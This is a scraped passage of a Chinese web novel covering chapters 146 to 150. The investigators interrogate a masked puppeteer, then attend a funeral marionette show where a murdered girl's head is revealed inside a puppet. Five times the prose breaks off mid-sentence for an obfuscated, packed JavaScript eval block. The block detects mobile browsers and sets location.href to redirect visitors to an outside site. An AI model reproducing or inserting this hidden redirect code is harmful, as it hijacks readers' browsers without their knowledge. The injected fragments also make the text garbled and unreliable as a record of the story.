她一步一步走上前,方骅与姜小四则紧随其后。 冷萤在男人身前站定,仔细打量了一眼对方,确定他不是杜桂风假扮的,才又问道:“你没什么骨气随时可以将他出卖,他却将你留在这里。真是好生奇怪……” “姑娘你……”男子有些心虚地结结巴巴道:“你说什么呢?我如此忠心,怎会是你说的那样的人?” 谁料,他话还未说完,珊瑚直接一脚将他踩到地上,大喝一声道:“说,你留在这里拖住我们的目的,究竟是什么?” “你……你们休想我会告……告诉你们。”男子上次在他们这里吃了苦头,即便被如此对待,在面对几人时也是一句重话都不敢说。 “是吗?”方骅冷笑一声上前。 他转头看了眼已然碎裂成一堆木头菩萨像,用若无其事的表情对珊瑚说了句:“那我们动手吧,菩萨像啥样他就啥样。” 说完他立刻朝前走,做出准备帮珊瑚的动作。 “哎哎哎……说说说……”男人连忙改口,一瞬都没有停留道:“他让我拖住你们,是想将血池里的那些琥珀拖走。” 他噼里啪啦说得极快,生怕珊瑚和方骅对他下了手。 冷萤淡笑一声,开口道:“杜桂风是你的主子吧?他下一步要做什么……真的会这样详细地告诉你?看来,你还是在诓骗我们。” 男人倒是没想到,对方居然反应这么快,一点都不接他的招。 他不禁激动地解释道:“我……我说的是真的。不信你们去瞧,血池里的琥珀肯定早就被拖走了!” “确实是被拖走了,不过是昨夜,就在我们刚离开血池不久,对吗?”冷萤反问他。 对方瞬间睁大了双眼,面具后那张脸即便是看不清,但从肢体动作都能看出他有多么震惊。 他可能怎么也没想到,在昌县吃过一次亏的他们,压根不会再在这上面走错一步。 所以在几人离开血池前,方骅便叫来陈全,让他守在那里。 一旦血池有人闯入,便立刻跟上去。 照陈全的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547137|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性格,如果没有问题早就回来汇报了。到了第二日还未回来,那便是真有人去了血池,而他一路跟了上去。 之前被陈全安排跟着“凌风”出镇的那些人,今日凌晨也带回了消息。 他们说一直跟着的“凌风”在半路又返回了沉香坊,并在今日凌晨潜入了引香坊。 他们本以为回来的是真的杜桂风,所以一早便找来了这里。 但在看见面具人后,才发现杜桂风居然跟他们玩了好一手“偷梁换柱”之计。 出去的是杜桂风,回来的是面具人。 而这二人不知是在哪个环节,趁着陈全的手下没注意,换了身份。 冷萤瞧着对方与杜桂风格外相似的身姿,冷声道:“杜桂风何其自傲的一个人,怎么会亲自去血池拖运那些笨重的琥珀?那些脏活累活,他自然是要交给下人去做。” 见对方不安地动了动身体,她微微弯腰轻声问道:“怎么,我说得不对吗?或许……我该叫你凌 风?” 一句话,男人停止了扭动的身体,仿佛被人点了穴一样僵在了原地。 “冷姐姐,”珊瑚也吃了一惊,问道:“你说他就是凌风?” 她一把拿下男人的面具,看到的是与上次在拣香坊里瞧见的,别无二致一副面孔。 将面具丢到一旁,她无聊道:“脸都没变一下,装什么装?” 见着对方即使被摘名就叫凌风吧?杜桂风借着你的名,在沉水镇到处游荡,你一点都不在意吗?” 听她如此问,男人才稍稍恢复到正常表情,回道:“不过是借用我的名而已,有何不可?” “怎么?他救过你的命啊?”珊瑚见他毫不在意,随口问了句。 谁知,男人居然真的点了点头:“对啊,他是我的救命恩人。” 还真是?她居然猜对了?珊瑚瞪大双眼。 这世上,还真有着许多巧合之事? 冷萤指着墙角只剩下光秃秃的沉香木板,和一个孤零零的凤鸟,朝他问道:“原本放在那处的莲花手菩萨像真品,去了哪里?” 第一百四十六章 离开沉水镇 这个叫凌风的男人,视线虽然顺着她的手指方向看过去,眼珠却无意识晃了晃,才垂下眼回道:“我不知道。” “你不知道?”珊瑚脚下狠狠一用力。 对方表情痛苦地点了点头,指着自己的嘴巴,示意自己被她踩得说不出话。 见他不像是装的,珊瑚这才稍微放了点力,将脚力收回了些。 男人这才回道:“我真的不知道,我只是个会悬丝傀儡的演师。他安排我,让我等在这处利用菩萨像吓吓你们。你们……” 他抬头有些畏惧地看了眼珊瑚,吞了吞口水继续道:“你们欺负过我,他让我……自己来报仇。” 他一句话,将珊瑚气得够呛。 她一边用尽力气朝凌风施压,一边转头对冷萤委屈道:“冷姐姐,他说我欺负他。” 冷萤无奈叹了一句,回道:“他说的是‘我们’。不过……”她将目光转向凌风说道:“随你怎么说,但如果这次还不说实话,那就不只是‘欺负’这么简单了。” 她的回答,可把珊瑚给乐坏了。 往常她想要揍人时,哪次冷姐姐不是拦着,难得这次如此支持她。 凌风这次却任由珊瑚施力,没有再次松口。不管他们几人如何问询,全都只回三个字“不清楚”。 “我是真的不清楚啊……姑奶奶们。求求你们放过我吧!”凌风哑着嗓子,感觉自己的嘴巴都要说干了。 “你替他做了不少事,杜桂风怕是连你上辈子的命都救了吧?”珊瑚问了句,发现自己的脚麻了,这才龇牙咧嘴地收回了脚。 哼!谅他也不敢跑! “姑娘说得差不多,他救了我全家的命,我自然唯他马首是瞻。”凌风每每提到杜桂风时,都是一副感激模样。 “喔?那反正现在无事,凌公子不如介绍一下自己是哪里的人吧?”方骅见状,突然换了个话题。 男人捂着被踩痛的胸口坐起,微微欠身自我介绍道:“在下广元人士,凌氏后人凌风。” “凌氏后人?”方骅沉吟片刻,问道:“是善于雕刻粉彩傀儡头的凌氏?” 凌风点了点头,回道:“我的高祖父曾是有名的漆画家,可漆画之路实在难走。为了养家糊口,他便舍了漆画,开始雕刻一些粉彩傀儡头卖给戏班子。由于长期接触,他慢慢地,便也学了些悬丝傀儡戏的表演技艺。” “你一个名匠后人,为何还要出来做这些勾当?”方骅颇有些恨铁不成钢道。 凌风有些不好意思地垂下头,回道:“这不……戴了面具嘛?” 珊瑚顿时白了他一眼,心里直呼这人没救了。 冷萤倒是抓住了他话中重点,看着地上那一堆木头,猜测道:“这赝品,出自你手?” 被她突然一问,凌风立即坐直身子,诧异回道:“你……你是怎么知道的?” 冷萤暼了他一眼,淡淡道:“心花,不静,做出的东西自然一碰就散。螺钿镶嵌手法,形神皆无。漆色髹涂不匀,一瞧便是赶工出来的。你们……自第一次遇见陆引后,便想着将她店内的莲花手菩萨像真品换走了吧?” “真有那么差吗?”凌风被她一字一句,说得慢慢弯下了腰。 “好好说话!”方骅大喝一声道:“问你什么便说什么,废话少说!” 凌风被他突来的怒气吓了一跳,随即乖乖答道:“我不知道,你们打死我吧,也算是好好报了这个恩了。” “得了吧你……”珊瑚脚也不麻了,复又一脚将他踹倒在地压上去,朝姜小四招了招手道:“把回生之香拿来。” “什么?”凌风一听顿时急了。 他曾日日与那些死士待在一起,自然知道喝了那东西后人会变成什么样。 “怎么?这么喜欢喂给别人喝,自己却不尝一口,那不是亏大发了?”珊瑚冷嘲热讽道。 姜小四正巧这时走上前,拿着一个白瓷瓶在凌风眼前晃了一圈,随后交到了珊瑚手中。 “姑奶奶……姑奶奶们,求你们放过我吧!我是真的知错了……”他若不是躺着,怕是要直接起身磕头了,“我只是按他的吩咐行事,我遇见那些死士时,他们就成这样了。你们如此待我,我家里的人会担心的……” 他居然无耻地搬出了凌氏。 “看你这稀里糊涂的手艺,应当也不是凌氏传承人。疯一个无足轻重、天天在外面惹祸,做尽坏事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547138|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的后代。好似对凌家来说,也不算是损失。”冷萤轻声威胁道。 “算的算的……我爷爷很看重我的。自……自从我小叔他的女儿刚出生便去世后,我就是我们家最看重的继承人了。”凌风用双手抓住珊瑚的脚,激动道。 冷萤继续道:“如果是这样的话,凌家也算是眼见着要没落了,现在另找传承人还是有些机会的。你就大度点,干脆疯了算了。” “疯了……算了?”凌风不可置信地看着冷萤,怎么也无法想到,一个外表看起来如此沉静的女子,怎会对他说出那样冷漠的话。 “如果冷家有这种坏事做尽的后代,”冷萤瞧着他,一字一句道:“我宁愿技艺失传,也不会让一个心不干净的人毁了这门技艺。” “你…… ”凌风瞪了眼冷萤,又被珊瑚狠狠踩了一脚。 见对方还是一副横眉冷对的模样,珊瑚装模作样地拔掉瓷瓶上的盖子,作势就要往他嘴里倒。 她就不相信,这次他还不肯服软。 眼看着,瓷瓶里混着血腥味的液体快要倒进自己的嘴里,凌风闭上眼狠下心道:“我说,我说!” 珊瑚这才收回瓷瓶,大声道:“说!” “他……他这次到沉水镇,除了将昌县得到的东西运过来之外,另外一个目的就是想换走陆引这尊莲花手菩萨像。只是陆引这人太难搞了,对我们很戒备。若不是林苑,我们根本不可能得逞的。” 见他招了,冷萤紧接着问道:“他将菩萨像运到了哪里?” “广元县。他与永江府的某个人约定好在广元见面,好像是要为菩萨像做什么,然后两人再一起回永江府。这些都是我偷听来的,能不说是我说的吗?”凌风恳求他们。 方骅冷笑一声:“即便他知道了,也无法对你怎么样了。” “真的吗?”男人眼睛一亮。 “自然。” 方骅转身打开引香坊的门,将门外等待的一群人放了进来。 这人即将要为自己做过的事,得到应有的惩罚,等待他的将是无穷无尽的赎罪。 他与杜桂风若真能再见一面,不是在牢狱里,那便是在十八层地狱了。 第一百四十七章 广元县 中元之夜,广元县。 夜色厚重如黑幕,沉甸甸地压了下来。 冷萤一行四人,身披轻薄的披风,正朝东边慢慢走去。 加上今日,他们到广元县已有三日了。 早秋的夜风有些凉,他们落脚的客栈地处偏僻,周围什么都没有,一眼望去全是荒凉。 这是陈全听从方骅安排,特意找的最隐蔽的一家客栈,就是避免打草惊蛇。 方骅瞧着被夜风吹得忍不住揉眼的冷萤,低头轻声问道:“今日风大,要不我们明日再去?” 抬头撞进他关切的眼底,冷萤摇摇头回道:“我们一到广元便失了关于杜桂风的一切线索。今日若再不去那里瞧上一眼,我总怕会错过些什么。” “说来也是奇怪,”珊瑚也接过话道:“陈全明明跟着那群人进了广元县,怎么转瞬就失去了他们的踪迹?这杜老贼实在太老奸巨猾了!” 在她说话时,冷萤有些担心地看过去,轻声道:“你身上的伤好些了吗?夜风会不会有些凉?”说罢,还替珊瑚拢了拢身上的披风。 他们准备出发到广元县的前一夜,珊瑚突然不知去了哪里。 回来时身上多了好几道血痕,整个人状态极差,问她怎么受伤的也不愿说。吓得冷萤急忙跑去找了位女大夫,带回来帮她医治伤口。 大夫来后,说珊瑚身上的那些血痕虽看着触目惊心,实则并不算深,休养个几日便可活动了。 大夫开好药方走后,姜小四便担起了熬药之责,冷萤则一直在旁细心照料。 果然没几日,珊瑚的身体便好得差不多了,还非闹着要离开沉水镇,他们这才又启程赶路到广元县。 可谁知道,他们刚一到广元县就失去了所有线索,回到了最初一切茫然的状态。 就连凌风所在的凌氏家族,也完全探听不到一丝消息,这实在是有些让人匪夷所思。 加上陈全几人,他们在广元县打听了足足两日,却一点收获都没有。 这次他们能有目标的出门,还多亏了姜小四。 他今日出门补给药材时,听药房掌柜的与人闲聊,言辞里说起今夜广元县东边旧戏台子那处,有一场悬丝傀儡夜戏。 见他们言谈间格外小心翼翼,又很神秘。且今日偏偏还是中元节,这样的特殊日子,不知戏台子上会演些什么? 还有一件更重要的事,姜小四说他当时还隐约听见对方闲聊时,说起那戏班子里有位旦角姓“凌”。 就不知,是不是他们要找的那个凌氏家族了?所以他们今日,无论如何都要前去瞧上一眼。 珊瑚拉着冷萤给她准备的,绣着小巧可爱的迎春花披风转了一圈道:“我早就好啦!你看我现在的样子,打死一头牛没有问题。只不过……”说着,她凑过来讨好地看着冷萤。 “只不过……”冷萤瞧她这样子便知是饿了,戏谑地接过话:“你要先吞下一头牛,对不对?” 珊瑚一听眼睛都亮了,撒着娇道:“冷姐姐,你怎么知道我饿了?” 见每次只要一饿肚子,就会拉着她的胳膊晃来晃去的小姑娘,冷萤忍俊不禁道:“好啦好啦,前面看着挺热闹的。走……去把我们珊瑚喂饱。” 她话音刚落,另一边就传来了一句冷到透心凉的声音。 “就她一个人饿了,”方骅冷着脸没有去看冷萤与珊瑚那处,而是转过头对同样面无表情的姜小四说道:“是吧?” 冷萤一怔,顿觉不对。 她连忙侧过头,却瞧见一高一矮,一黑一白两个男人,全都用幽怨的眼神看着她。 有些尴尬地干笑一声,她连忙问道:“当然……我也饿了。大家都饿了,前边的羊杂汤好香,你们想不想来一碗?” “我也不知道自己饿没饿,需不需要喂饱。”冷冰冰的言语自方骅嘴中发出,他说便说罢,来顺手压着姜小四的脑袋,重重地按了下去。 “你阴阳怪气个啥呢?”珊瑚嘚瑟地挽着冷萤,对着那个小气巴啦的男人翻了个白眼。 “需要,需要……”冷萤嘴里虽应和着,心却想着这人今日是怎么了,一个大男人怎的还同小姑娘计较起来了。 自己计较便罢了,还拉着人老实巴交的姜小四。 想到这里,她反而有些愧疚地侧身问姜小四:“你想吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547139|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,我一起去买。” (我自己会买,不像某两人。) 姜小四的回答,黑了某两人的脸。 他也不知有没有察觉,倒是扬起了一抹略显有些傻的笑,对着冷萤笑了笑又乖乖低下头。 “装什么装……”珊瑚见他装乖装的得心应手,很是有些鄙夷。 被他的乖巧感动到的冷萤,下意识瞧了眼墨衣黑脸的男人,示意他看看人家。 方骅这才冷静下来,颇有些想不明白自己刚才是在干什么。 平日也都是他去将吃食买好,怎的今日就是心里不爽,想要让她给自己也买一份。 一下子,几人全都安静下来,默契地朝前方热闹亮堂的地方走去。 街道两旁,灯火阑珊。 路两旁的小吃摊上,热气腾腾的食物香气与秋夜的凉意交织着,驱散了不少 他们身上的凉意。 烤串的炭火映红了夜空,油脂滴落,发出诱人的嗞嗞声和香气扑鼻的肉香味。 摊贩们热情招呼着,手中的铲子翻飞,锅碗瓢盆的碰撞声让整条小吃街看起来格外有烟火气。 冷萤要了四碗羊杂汤,方骅想上前去端,被她施力一把按坐下去。 他不懂什么意思,直到对方将第一碗羊杂汤放在他面前,还用看小孩的眼神看了他一眼,他才颇为懊悔地叹了口气。 刚才还是太冲动了。 珊瑚站起身,挑衅地瞧了他一眼,嘴里甜甜地喊道:“冷姐姐不要动,我自己来端。”然后沉下声喊了句:“姜小四还不过来,让冷姐姐喂给你喝,咋样?” 姜小四嘴角略带一丝抽搐地站起身,瞧都懒得瞧殷勤到过分的珊瑚一眼。 四人一碗汤一张煎饼吃完后,向摊主打听了戏台子准确的方位,便告辞离开了。 谁也没听见,身后两家摊主讨论的内容。 “哎,你说这些外地人他们咋就不怕咧?”羊杂汤摊主朝旁边的人问了句。 “嗨……谁知道呢。那地儿人少,戏台子又破,谁中元节还大半夜还跑去看什么夜戏呢?他们胆子可真够大的!”摊煎饼的摊主回他。 第一百四十八章 悬丝傀儡(1) 在离开热闹的小吃街后,他们又走了差不多半个时辰左右。 没过久后,就见周围人烟越发稀少,别说店铺了,连住家都少得可怜。 几人不禁开始怀疑,他们是不是走错路了。 在行过一道蜿蜒又曲折的小路后,有些灰心想要打道回府的几人,忽然听见不远处隐隐约约有乐曲声传来。 那乐曲尖细又婉约,绵延又悠长。 仔细聆听,里面还有人操着他们听不懂的方言,用陌生的语调,正在哼唱着什么。 “就在前面了。” “这戏台子怎么搭建在这么偏僻的野外啊?”珊瑚本以为是他们走错了,现下发现那戏台子居然真的在这里,不禁有些心生疑惑问道。 冷萤也觉得很蹊跷,她虽不懂傀儡戏,但也知道只要是唱戏,就需要有人捧场的。 在这种荒郊野外搭个戏台子,真会有人去观赏吗?怀着满满的好奇心,几人循着乐声加快脚步走过去。 在能看清前方的戏台时,他们的脚步极有默契地停在了原地。 所有人的目光,全都看向离他们不远的古旧戏台上。 不同于伴奏的细长悠远乐曲,傀儡戏的唱调略高亢和粗犷。 “蓬头盖脸,项带铁链,口内吞火,眼中点灯,何日里逃生?”虽说音调平直,唱词却凄凉阴森。 只是演师都是用的乡音,冷萤全程也只能听清这几句。 站在这里看过去,支撑着戏台子的朱红色的梁柱尽显斑驳,上面脱落的漆面暗淡无光泽,瞧着便知早已年岁久远。 不知是不是为了掩饰那些不均匀的漆色,梁柱上缠着白色的轻纱。 台上被控制的傀儡们身着陈旧的戏服,举手投足被近乎透明的丝线牵引着,戏服上面的金丝银线也不太亮眼,被暗黄色的灯火照耀后,显得更加黯淡。 四周摆放着简陋桌椅,台上的灯光忽明忽暗,那些傀儡的影子被逐渐放大,投放在已经不再亮眼的背景布上。 背景布上影子张牙舞爪的,瞧着颇有些神秘。 随着演师们乐曲唱调的配合,台上被控制的角色时而发出一声尖锐的笑声,那笑声划破夜空,在夜晚听起来很是刺耳。 不一会儿,台上的某个角色又开始不停地哭泣。那哭声悲切凄厉,好似带着深深的绝望。 几人慢慢朝戏台子走近,这才发现台下居然没有几名看客。 加上他们四人,全场一共也不到十人。 并且那些看客们都鸦雀无声,安静地坐在那里。夜色太黑,他们的脸被阴影遮住,看不清太多表情。 动都不动一下,难不成是注意力都陷入剧情当中了?冷萤心里暗自想着。 只是,当他们走近时……才慢慢发现。 那些看客们的双眼,在昏暗的光线中全都闪烁着奇怪的神色。 他们的坐姿极其标准,背脊挺得直直的,身躯则一动不动,像是被施了定身咒一般。 “这些人看个戏,怎么一个个瞧起来像是要上断头台似的?”珊瑚用极小的声音问道。 他们不光是表情奇怪,还有端放在膝上的双手。如果仔细观察,会发现他们全都在微微轻颤着,不知是否在与阴冷的秋风做抗争。 “我怎么觉得这地方有些奇怪?”方骅也察觉到此处的不寻常。 冷萤则一直观察戏台上的傀儡演员,嘴里说了句:“再走近些瞧瞧。” 自他们几人在瞧见这戏台子后,连周身吹拂的秋风都凉了好几度。 如果是怕看客太多发生踩踏事件,将戏台子搭在较为空旷的地方,他们当然可以理解。 可瞧着如今的情形,他们实在有些不太懂了。 将一座戏台子搭在这荒郊野外,一般人找都找不到的地方,究竟是何用意? 就在这时,一阵凉风突然袭过,吹得戏台子四周悬挂着的灯笼不停摇曳,灯笼里面的火苗发出“滋滋”的声响,乍一听,好似谁人正在低声呻吟着。 台上某个傀儡的动作猛地一顿,随之身后和影子也定在了原处。戛然而止的动作保持片刻后,又像是无事发生似的,跟着曲调动了起来。 几个人小心翼翼地朝戏台靠近, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547140|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜小四甚至一个不注意,挡到了其中一位看客的视线,台下的人却没有一人发出抗议的声音。 这一切都太诡异了。 若不是在路过其中一人时,冷萤专门瞧上过一眼。她甚至以为, 这时他们已经走到戏台子的左侧,距离近到能时不时看清傀儡上方银白色丝线时,那些被控制的傀儡动作突然全变了。 若说之前的动作除了那停顿的一瞬外,全都极其配合乐曲唱词的节奏。 那在冷萤几人走近后,台上的傀儡们的动作全部变了样。 它们开始摆出各种诡异的姿势,疯狂地扭动着,就好像要挣脱那无形的丝线束缚一样。 由于动作太过夸张,有几根丝线开始崩裂发出断裂声,声音在夜里听起来颇有些渗人。 “这是怎么了,它们怎么突然变成了这样?”珊瑚着实不知,要如何形容那些傀儡做出的动作。 一根根丝线在昏暗的光线下泛着银白的冷光,戏台 两边的轻纱随风轻轻摆动,好似在遮挡什么一样。 珊瑚的眼神好,在发出那句疑问后,就一直盯着其中一个穿着粉衣戏服的傀儡瞧着。 并不是她多感兴趣,只是在凑近看后她才发现,这个悬丝傀儡与另外几个似有些不同。 “发现什么了?”冷萤见她表情不对,附在她耳边轻声问道。 就在冷萤低声与她说话时,珊瑚赫然发现了其中的异常。 首先,这个傀儡的身量比另外几个都要高大,看起来动作也要笨重一些。还有,牵动这个傀儡的丝线上,居然有淡淡的红色。 最后,也是最重要的一点。 她歪着头,悄声问冷萤:“冷姐姐你有没有发现,那个粉衣戏服的悬丝傀儡头部,瞧起来格外像是真人?” 冷萤在她的提醒下看过去…… 确实发觉那粉衣戏服的旦角,精致的面容里透着一股诡异,肌肤状态真实到不像是假人。 还有那栩栩如生的眼眸,即便双眼与两颊都被涂上浓厚的油彩,也遮挡不住它有别于其他傀儡角色的灵动。 第一百四十九章 悬丝傀儡(2) 那粉色戏服的旦角每次突兀地做出一个动作,那空荡荡的衣袖随之落下时,冷萤的心总要紧紧地缩一下。 她反应这样大,不知是否因为那傀儡头部做得太真实的原因。 精致又真实的傀儡头,再配上阴郁凄楚的唱腔,竟让她第一次在看戏时,有了想立刻转身离开的冲动。 方骅见冷萤明明方才还好好的,却突然不由自主地打起了冷颤,凑过去问道:“是不是冷,要回去吗?” 急忙摇了摇头,冷萤小声与他说道:“你瞧戏台上,那个粉色戏服的悬丝傀儡,有没有……”一种很阴森的感觉。 她的话还未说完,就被突然抬手的姜小四打断了。 (有血腥味,很浓,要小心。) 这时的他们全都没发现,台下有一名看客突然站起了身。 见他们几人一直鬼鬼祟祟地离戏台这样近,突然伸手指着他们道:“你们是谁?为何要站在戏台子旁边?” 正在小声说话的几人,下意识地望过去,发现同他们说话的是一位年纪有些大的老翁。 老翁双手拄着拐杖,穿着讲究,站姿笔挺,只是脸上的表情有些不太好看。 想来,是他们的举动打扰到了台下的看客们了。 冷萤正想走上前解释加道歉时,戏台上正在进行的演出,突然间戛然而止。 随之停下的,还有一旁配乐的乐师们。 此时的场景,诡异到就像是整个画面被人突然切掉一样,连着那位老翁全都没了声音。 对方虽一直盯着他们看,却一直没有进行下一步动作,就好似方才的问询是冷萤他们几人的错觉一般。 对方表情太过严肃,冷萤站在原地想了想,还是决定上前去朝那位老翁打听一番。 看老翁知不知道,在这些正在表演的演师当中,有没有一位姓凌的旦角。 可就在她抬脚的刹那,一声响彻四周的尖叫声自戏台上空传出,惊扰了在场所有的人。 不过一眨眼的工夫,在台下坐着的看客们终于慢慢有了动作,有些更是开口与旁人讨论起了什么。 这下几人终于能确定,台下的看客全都是活的,并不是专门摆在那里的傀儡了。 其中有一名中年男子甚至站起了身,对着传出尖叫声的戏台上方喊了句:“发生了什么事?” 回答他的,是死一般的寂静。 男子低头侧身走出,嘴里嘟囔了一句,好似在自言自语,又好似在跟身边的小娘子说道:“我去后场瞧一眼。” 丢下这句后,他啪嗒啪嗒的快速跑去了后场。 见老翁还是一动不动,站在原地盯着他们,几人乖乖地朝他那处走了过去。 众人行过礼后,冷萤开口问道:“老爷爷您好,请问今日这里的看客为何这样少?” 老翁年纪虽有些大,但看向他们眼神却格外犀利。 他将几人结结实实地打量了一番,用苍老的声音问道:“看客?你们是外乡人吧?” 冷萤微微颔首,回道:“是的。” 老翁若有所思地点点头,才向他们解释道:“这是我们这里的风俗,家里在办丧事时会请傀儡戏班来此助哀,为逝者送行。” “办丧事?”冷萤心中虽惊讶,但在尽量控制自己的语气。 老翁说完这句话后,他们这才忽然发觉,在座的所有“看客”全都身着白色的孝服。 而那戏台上,不光四根梁柱上缠着白色的纱,就连两边的帷布也全是白色的。 方才他们注意力全在戏台上,现下瞧来,除了台上的傀儡戏服艳了一些,周围的一切装扮都与办白事没什么不同。 他们这是……闯进了别人办丧事的场地。刚才居然还兴致勃勃地,凑得那样近去看戏台上的表演,真是失礼! “小辈们不懂,老爷爷您和您的家人千万莫见怪!”冷萤微微福身,有些窘迫地急忙抱歉道。 身后的几人,也随着她再次行礼,一个个神色均有些尴尬。 (我当时只听说难得办一场,就连忙跑回来告诉你们了,是我没听清……) “和你没关系,每个地方的风俗都不一样,你不清楚也是正常。”冷萤立刻开口安慰,免得他闷在心里多想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547141|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “倒也没事,不过你们是从哪里打听……”老翁好似没放在心上,正准备问他们什么时,戏台那处又传来了男人的大喊声。 这下……本来稳稳坐在台下的那些人,此时全都有些坐不住了。 有几个站起了身,努力踮着脚正在往戏台子上眺望。 正在与冷萤几人说话的老翁也是脸色一变,随后礼貌道:“各位对不住,戏台那处好像出了事,老夫过去看一眼,你们自便。”说完,朝他们点了下头便告辞离开了。 人家家里正在办丧事,他们总在此逗留也不太礼貌。冷萤便提议先离开这里,要打听什么不妨过几日,等别人家中办完丧事再说。 方骅也认为她说得有道理,看着她被风吹红的脸颊,沉声说了句:“那回去吧,天色太晚了,有什么问题等明日再说。” 珊瑚和姜小四自然没有异议,几人便无精打采地准备打道回府。 却在 转身走了几步后,又听见后面传来了不少人的惊叫声。珊瑚实在没忍住转头,往戏台子上细细瞧了一眼。 只一眼,便让她整个人僵在了原地。 “冷姐姐!”她头也不回地喊了一声。 与方骅一同走在最前面的冷萤,听出珊瑚的声音不对,连忙转过头问询:“怎么了?” 对方缓缓伸出手指着前方的戏台,颤抖着声音道:“冷姐姐,方才我们看见的那个粉色戏服的悬丝傀儡,好像真的是人!” 一句话,所有人都变了脸色! 冷萤忙同方骅还有姜小四走到珊瑚身边,视线顺着她手指的那处,眯着眼睛看过去。 只见,方才与他们说话的老翁正被一名女子搀扶着,情绪似乎有些激动。 而那位中年男人更是瘫软在地,他身边站着的另外几个人,身边都放着刚才在戏台上演出的傀儡。 只有一名女子惨白着脸,她手上还拿着勾牌,身边却没有傀儡。 她的身前,躺着那个粉色戏服的悬丝傀儡。 此时……那身清丽的粉色戏服已被染成了鲜红色,衣袖下,赫然露出了一节白森森的人骨。 第一百五十章 悬丝傀儡(3) 见出了人命,冷萤几人默契地脚步一顿,转身同时朝戏台子走去。 台上有好几副陌生面孔,猜想应是方才在戏台高处控制傀儡的演师。 两男一女,一名年轻男子双手提着小生装扮的傀儡,另外一位年纪稍长的中年男子,则手持着长相可怕的鬼卒傀儡。 站在他们身边,身穿杏色长衫的妇人则是低垂着头,瞧上去好似全身都在颤抖。 不知是不是惊吓过度的缘故,她抖着唇一句话没说,只是骇然地看着倒在自己脚边的粉色戏服傀儡。 不对! 准确地说,是一副骸骨,和一颗正在淌血的女子头颅。 更让人感到恐怖的…… 是藏在粉色戏服下的骸骨。 那具骸骨明显与襁褓中的婴儿体型差不多大,可瞪大双眼正在淌血的那颗头颅,面容瞧起来就是一位豆蔻女子。 头颅与骸骨明显的不匹配,让在场的所有人全都被吓到惊恐地站在原地,丝毫不敢动弹。 就在这时,坐在台下的几位穿着孝服的人站起身走了过来,一个个在看见台上的画面后,全都大惊失色地连退好几步。 “这……这是怎么回事?”其中一位年纪稍大的人,朝台上被人扶着的老翁问了一句。 老翁似乎受到了极大的打击,没有理那几位穿孝服的人。 他身旁的妇人不停地在为他轻拍着胸口,好似怕他一口气没提上来,突然撅了过去。 那个比老翁早一步跑到后场的中年男子,脸色则是更加难看。早已瘫软在地的他,手脚慌乱地在地上爬了好半晌,才爬到那颗头颅旁边。 他颤抖着双手好似想将那颗脑袋捧起来,最终却只是徒劳无功地喃喃道:“倩倩……倩倩你怎么了,跟阿爹说话啊……” 在他喊出第一句“倩倩”时,原本呆愣在原地半晌没有一点反应,好似早就石化的杏衣妇人,终于也失口喊出了声:“怎么会是倩倩……这怎么可能。难怪我总觉得今日这傀儡重得很……怎么会是这样……” 拿着小生傀儡的年轻男子和拿着鬼卒傀儡的中年男子,此时也彻底反应了过来。 年轻男子连忙蹲下身,用手扒开粉色的戏服。那具与婴儿差不多大的骸骨,便彻底暴露在众人眼前。 随即,他似是有些不忍心地闭了闭眼,将戏服又盖了回去,顺便盖住了那颗瞪大着双眼的头颅。 